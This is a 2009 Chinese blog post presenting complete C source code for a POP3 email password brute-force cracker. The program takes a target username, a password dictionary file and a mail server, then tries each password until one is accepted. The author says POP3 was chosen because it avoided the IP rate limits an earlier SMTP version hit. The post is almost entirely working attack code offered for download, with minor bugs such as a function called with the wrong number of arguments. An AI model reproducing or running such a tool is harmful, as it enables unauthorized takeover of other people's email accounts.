当前位置: 主页 > 日志 > 原创程序 >

POP3-E-mail密码暴力破解器

昨天发了一个用SMTP实现email帐号密码破解的工具,感觉不太理想(很多smtp服务器都有错误次数限制,动不动就限制IP)。后来查了一些资料,发现用pop3实现起来比较简单,而且我测试过没有出现限IP的情况出现。不过,由于是单线程,速度不是很快的...

//E-mail密码暴力破解器-POP3
//By RedIce
//E-mail:redice@see.xidian.edu.cn
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib") 
FILE *FileOpr;    
SOCKET sender;
char send_wait(char *,char *);//函数声明:发送数据并等待接收到响应码
void usage();//程序使用说明
void initialsocket();//重置Socket连接
struct sockaddr_in dest;//目的地址结构体
void main(int argc,char *argv[])
{
    char temp[1024]; //读取密码字典缓冲区
    int k=0,i=0;//已读取密码文件行数
    DWORD starttime;//程序运行开始时间
    WSADATA wsa;//WSAData结构体
    PHOSTENT hostinfo;//主机信息(域名->IP)
    char passfile[201];//密码字典文件路径
    char username[51];//用户名
    char *ICMP_DEST_IP;//目的IP
    char command[50];//请求命令
    memset(passfile,0,201);//密码字典文件路径
    memset(username,0,51);//欲破解的用户名
    if(1==argc)//如果只有默认的命令行参数 则给出程序说明 并退出程序
    {
        usage();
        return;
    }
    else//如果有多个参数
    {
        for(i=1;i<=argc-1;i++)
        {
            if(strstr(argv[i],"-f"))
            {
               if(strlen(argv[i+1])>=200)
               {
                   printf("密码字典文件名太长! ");
                   return;
               }
               strcpy(passfile,argv[i+1]);
               i++;
            }
            if(strstr(argv[i],"-u"))
            {
                if(strlen(argv[i+1])>=50)
                {
                    printf("用户名名太长! ");
                    return;
                }
                strcpy(username,argv[i+1]);
                i++;
            }
            if(strstr(argv[i],"-?"))
            {
                usage();
                return;
            }
        }
    }
    if(strlen(username)==0||strlen(passfile)==0)
    {
        printf("请指定用户名称和密码字典路径! ");
        usage();
        return;
    }
    ICMP_DEST_IP=argv[argc-1];//取得域名(IP)
    if(WSAStartup(MAKEWORD(2,2),&wsa))
    {
        printf("套接字版本协商出错! ");
        WSACleanup();
        return;
    }
    //域名解析
    hostinfo=gethostbyname(ICMP_DEST_IP); //参数为需要解析的主机名
    if(NULL==hostinfo)
    {
        printf("无法解析主机%s的IP地址!",ICMP_DEST_IP);
        WSACleanup();
        return;
    }
    else
    {
        ICMP_DEST_IP=inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);
    }
    //填充目的地址结构体
    memset(&dest,0,sizeof(dest));
    dest.sin_family=AF_INET;
    dest.sin_addr.S_un.S_addr=inet_addr(ICMP_DEST_IP);
    dest.sin_port=htons(110);//SMTP默认为110
    FileOpr=fopen(passfile,"r");
    if(NULL==FileOpr)
    {
        printf("打开文件失败,请检查输入的文件路径是否正确! ");
        WSACleanup();
        return;
    }
    starttime=GetTickCount(); 
    while(1)
    {
        initialsocket();//初始化Socket
        memset(temp,0,100);
          if(NULL==fgets(temp,100,FileOpr)) //读取密码文件
            break;
        else
        {
            if(temp[strlen(temp)-1]==0x0A)
               temp[strlen(temp)-1]=0;
            printf("已尝试过%d个密码...%s ",++k,temp);
            //发送"user 用户名",并期待接收响应码"+OK"
            memset(command,0,50);
            strcpy(command,"user ");
            strcat(command,username);
            if(2!=send_wait(command,"+OK")) continue;
            //发送"pass 密码",并期待接收响应码"+OK"
            memset(command,0,50);
            strcpy(command,"pass ");
            strcat(command,temp);
            if(2!=send_wait(command,"+OK",1)) 
                continue;
            else
            {
                printf("Password:%s ",temp);
                break;
            }
        }
    }
    printf("程序运行耗时:%ds,%dms ",(GetTickCount()-starttime)/1000,(GetTickCount()-starttime) % 1000);
    fclose(FileOpr);
    closesocket(sender);
    WSACleanup();
    return;
}
//发送数据并等待接收到响应码
//参数:发送的请求;发送数据是否进行Base64编码(1表示加密)
//返回值:-1发送失败,0接收数据出错,1没有成功接收到响应码,2成功接收到响应码
char send_wait(char * command,char * responsecode)
{
    char smtp_data[101];//提交给SMTP服务器的数据
    char recvbuf[201];//接收缓冲区
    DWORD starttime;//开始时间
    memset(smtp_data,0,101);//将发送缓冲区填零
    strcpy(smtp_data,command);
    smtp_data[strlen(smtp_data)]=0x0D;//在命令末尾加上换行符
    smtp_data[strlen(smtp_data)]=0x0A;
    printf("程序发出请求:%s",smtp_data);
    if(SOCKET_ERROR==send(sender,smtp_data,strlen(smtp_data),0))      
    {
        printf("发送请求出错! ");
        return -1;
    }
    memset(recvbuf,0,201);//将接收缓冲区填零
    starttime=GetTickCount(); 
    while(1)
    {
        if(GetTickCount()-starttime>=3000) return 0;
        if(SOCKET_ERROR ==recv(sender,recvbuf,200,0))
        { 
            printf("接收信息出错! ");
            return 0;
        }
        else
        {
            printf("pop3 应答:%s ",recvbuf);
            if(NULL==strstr(recvbuf,responsecode)) 
            {
                if(strstr(recvbuf,"-ERR"))
                return 1;
            }
            else //成功收到响应码responsecode
               return 2;
        }
    }
}

//程序使用说明
void usage()
{
    printf("E-mail密码暴力破解工具 ");
    printf("By RedIce ");
    printf("E-mail:redice@see.xidian.edu.cn ");
    printf("http:\\redice.1.suhai.com.cn ");
    printf("Options: ");
    printf("        -u 指定要破解的帐户名称 ");
    printf("        -f 指定密码字典路径(必须是完整路径) ");
    printf("        -? 显示该帮助信息 ");
}

void initialsocket()
{
    int i;//计数器
    char recvbuf[201];//接收服务器返回数据缓冲区
    int timeout=3000;//接收超时时间
    closesocket(sender);
    sender=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(INVALID_SOCKET==sender) 
        {
            printf("创建套接字出错! ");
            WSACleanup();
            exit(0);
        }

        for(i=1;i<=5;i++) //如果重复五次连接失败,则退出程序
        { 
            if(SOCKET_ERROR==connect(sender,(SOCKADDR *) &dest,sizeof(dest)))    
            {
                printf("连接目的主机失败%d次! ",i);
                if(5==i)
                {
                    printf("无法连接到目标主机,程序退出... ");
                    closesocket(sender);
                    WSACleanup();
                    exit(0);
                }
                else
                    continue;
            }
            else//如果5次中有一次连接成功则跳出循环
              break;
        }
        //设置接收超时
        if(SOCKET_ERROR ==setsockopt(sender,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))
        {
            printf("设置套接字超时失败! ");
            closesocket(sender);
            WSACleanup();
            exit(0);
        }
        memset(recvbuf,0,201);
        for(i=1;i<=5;i++) //如果重复五次连接失败,则退出程序
        { 
            if(SOCKET_ERROR ==recv(sender,recvbuf,200,0))
            {
              printf("接收连接信息出错%d次! ",i);
              if(5==i)
              {
                printf("无法接收pop3连接信息! ");
                closesocket(sender);
                WSACleanup();
                exit(0);
              }
              else
                  continue;
            }
            else//接收连接信息成功
            {
                printf("连接pop3返回信息:%s ",recvbuf);
                break;
            }
        }
}


附源代码:

File: Click to Download

[日志信息]

该日志于 2009-02-26 12:58 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “POP3-E-mail密码暴力破解器” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!!    (尊重他人劳动,你我共同努力)
   
验证(必填):   点击我更换验证码

redice's Blog  is powered by DedeCms |  Theme by Monkeii.Lee |  网站地图 |  本服务器由西安鲲之鹏网络信息技术有限公司友情提供

返回顶部